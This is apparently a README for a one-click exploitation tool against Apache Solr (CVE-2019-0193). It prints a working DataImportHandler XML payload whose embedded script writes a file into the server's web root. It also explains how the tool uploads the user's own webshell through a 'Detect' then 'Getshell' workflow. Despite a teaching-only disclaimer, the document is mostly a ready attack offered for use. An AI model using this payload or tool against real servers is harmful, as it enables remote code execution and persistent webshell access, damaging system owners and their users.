freefv/apachesolrrceApacheSolrRCE（CVE-2019-0193）一键写shell，原理是通过代码执行的java文件流写的马。
For information security teaching and communication only. Do not use for illegal testing or attacks.
ApacheSolrRCE (CVE-2019-0193) one-click write shell, the principle is to write a web shell through code execution of Java file stream.
Note: The author is not very skilled. If you encounter bugs or have other requirements, please download the code and modify it yourself.
Since the payloads circulating on the internet are all command execution and not convenient for uploading webshells, this payload was written (when it returns 123456, it means the write was successful).
Note: The tool can only assist with testing. If the tool cannot write, it is recommended to do it manually.
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var buf = new java.io.BufferedWriter(new java.io.FileWriter(java.net.URLDecoder.decode(java.lang.Thread.currentThread().getContextClassLoader().getResource("").getPath().toString().replaceAll("file:\/", "").split("WEB-INF")[0]+"1.txt")));buf.write(new java.lang.String(java.util.Base64.getDecoder().decode("MTIzNDU2")));buf.close();
row.put("title",123456);
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
First click 'Detect' to obtain the core and determine if there is a vulnerability.
Then click 'Getshell'.
Note: Place your webshell in the shell directory; the tool will automatically load your webshell into the dropdown list.
The default proxy is HTTP proxy, port is 8080, hardcoded in the code. If needed, compile and modify it yourself.
